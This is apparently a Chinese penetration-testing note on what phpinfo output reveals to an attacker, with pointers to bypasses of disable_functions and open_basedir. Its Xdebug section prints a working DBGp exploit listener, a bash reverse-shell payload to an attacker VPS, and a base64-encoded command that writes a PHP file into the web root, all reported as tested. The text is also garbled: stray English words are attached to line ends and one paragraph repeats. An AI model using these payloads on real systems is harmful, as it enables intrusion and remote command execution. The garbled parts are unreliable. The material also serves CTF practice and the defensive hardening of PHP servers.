phpinfo中敏感信息記錄

比賽中或者滲透中若是遇到phpinfo,從裏面發現的一些線索可以對後續的滲透和解題幫助很大,這裏記錄總結一下目前網上比較經常使用的的。php

下圖來源於:https://seaii-blog.com/index.php/2017/10/25/73.htmlcss

 

1.絕對路徑(_SERVER["SCRIPT_FILENAME"])

2.支持的程序

能夠看看服務器是否加載了redis、memcache、mongodb、mysql、curl,若是加載了,那麼就能夠適當往這幾個方面考慮,還能夠看看是否支持gopher、是否啓了fastcgi。html

3.泄漏真實ip(_SERVER["SERVER_ADDR"]或SERVER_ADDR)

能夠查查旁站、c段什麼的,直接無視cdnmysql

4.一些敏感配置

allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等nginx

5.Loaded Configuration File(配置文件位置)

這一欄代表了 php.ini 這個 php 配置文件的位置,在有文件讀取的狀況下能夠進行讀取,在滲透中仍是頗有幫助的。git

6.Registered PHP Streams(支持的流)

這個在文件包含、反序列化還有一些關鍵的 bypass 的時候很是有用github

利用phar/zip協議繞過有後綴的文件包含:include zip:///var/www/html/upload/1.gif#1.phpweb

7.open_basedir

這個選項設置了文件讀取的時候的目錄限制redis

PHP繞過open_basedir列目錄的研究sql

php5全版本繞過open_basedir讀文件腳本

繞過open_basedir讀文件腳本

8.short_open_tag

判斷服務器是否是支持短標籤,這在寫 shell 的時候頗有幫助

 

9.phar

文件包含還有反序列化重點關注

10.SESSION

session.save_path=」」 –設置session的存儲路徑
session.save_handler=」」 –設定用戶自定義存儲函數,若是想使用PHP內置會話存儲機制以外的可使用本函數(數據庫等方式)
session.auto_start boolen –指定會話模塊是否在請求開始時啓動一個會話,默認爲0不啓動
session.serialize_handler string –定義用來序列化/反序列化的處理器名字。默認使用php

這個也容易致使session處理器不一樣而致使的反序列化漏洞,以前文章裏也說過

https://www.cnblogs.com/wfzWebSecuity/p/11156279.html

11.server api

php解釋器與應用層的橋樑。

1.FPM/FastCGI 多用於和nginx通訊,固然也可用於其餘web中間件。
2.Apache 2.0 Handler php爲apache提供的專用SAPI
3.Command Line Interface php命令行

12.disable_functions

有時候咱們上傳了一個webshell卻不能用,有很大多是管理員作了配置,禁用了php執行系統命令的函數。

有時候咱們上傳了一個webshell卻不能用,有很大多是管理員作了配置,禁用了php執行系統命令的函數。

繞過的方式有這麼幾個:

黑名單繞過:

百密一疏,尋找黑名單中漏掉的函數,上圖中禁用的函數算是比較全的了。
好比在編譯php時若是加了-–enable-pcntl選項,就可使用pcntl_exec()來執行命令。

滲透技巧:利用pcntl_exec突破disable_functions

利用ImageMagick漏洞繞過disable_function

利用環境變量LD_PRELOAD來繞過php disable_function

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

利用擴展庫繞過

http://www.91ri.org/8700.html

綜合:

https://github.com/l3m0n/Bypass_Disable_functions_Shell

13.enable_dl

上面說的利用擴展庫繞過disable_functions,須要使用dl()而且開啓這個選項

14.xdebug 遠程rce

 

漏洞利用條件:

xdebug.remote_connect_back 的回連是經過自定義 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三個肯定的,依次 fallback,因此即便配置了自定義 Header,也能夠經過設置 XFF 頭來指定服務器鏈接,就是讓被調試的服務器去鏈接咱們的惡意主機,此時咱們的惡意主機就能夠和目標服務器進行交互,而且由於是xdebug是支持dbgp的,因此能夠此時讓惡意主機發送惡意指令到目標服務器讓其執行

 須要在目標站的phpinfo中看到:

xdebug.remote_connect_back => On => On
xdebug.remote_cookie_expire_time => 3600 => 3600
xdebug.remote_enable => On => On

便可使用Xdebug進行鏈接,嘗試直接命令執行

利用exp以下:rr師傅的

import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

 首先能夠測試一下是否能夠利用,直接使用curl

而後執行exp,監聽本地9000端口,發送惡意payload,訪問vps

 

反彈shell:

此時直接用

system("bash -i >& /dev/tcp/vps_id/port 0>&1")沒彈回來,可是能curl到,換了個payload,嘗試往網站根目錄下寫shell:

用payload以下,這裏用base64轉一下,防止payload引號發生衝突,衝突寫不進去

shell_exec("echo 'ZWNobyAiPD9waHAgcGhwaW5mbygpOz8+IiA+IC92YXIvd3d3L2h0bWwvcy5waHA=' | base64 -d | bash");

看下/var/www/html下面:

有了上面base64繞過,我又回來試了一下能不能反彈shell,仍是用system("bash -i >& /dev/tcp/vps_id/port 0>&1"),把反彈shell的payload進行編碼一下:

而後vps上。。。。終於彈回來了,exp沒問題,要本身調試一下paylaod,適當把payload編碼一下挺有用的

 

15.opcache

opcache是緩存文件,他的做用就相似於web項目中的靜態文件的緩存, 好比咱們加載一個網頁, 瀏覽器會自動幫咱們把jpg, css緩存起來, 惟獨php沒有緩存, 每次均須要open文件, 解析代碼, 執行代碼這一過程, 而opcache便可解決這個問題, 代碼會被高速緩存起來, 提高訪問速度。

若是目標網站

opcache.enable => On

便可判斷開啓了opcache,即有開啓了潛在的攻擊面

詳情見0ctf ezdoor解析

https://skysec.top/2018/04/11/0ctf-ezdoor/

https://skysec.top/2018/04/04/amazing-phpinfo/#OPCACHE

https://www.angelwhu.com/blog/?p=438

16.imap

https://github.com/vulhub/vulhub/blob/master/php/CVE-2018-19518/README.md

參考(侵刪):

https://paper.seebug.org/397/

https://www.k0rz3n.com/2019/02/12/PHPINFO%20%E4%B8%AD%E7%9A%84%E9%87%8D%E8%A6%81%E4%BF%A1%E6%81%AF/

http://www.am0s.com/penetration/322.html

https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

 https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce

https://seaii-blog.com/index.php/2017/10/25/73.html

相關文章
相關標籤/搜索